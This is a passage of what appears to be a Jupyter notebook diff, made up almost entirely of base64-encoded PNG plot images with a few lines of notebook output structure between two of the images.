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\n" + }, + "metadata": {} + }, + { + "output_type": "display_data", + "data": { + "text/plain": [ + "" + ], + "image/png": "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